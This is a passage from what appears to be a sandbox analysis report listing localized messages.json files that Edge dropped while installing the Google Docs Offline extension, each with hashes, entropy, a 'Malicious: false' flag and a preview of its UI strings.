Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
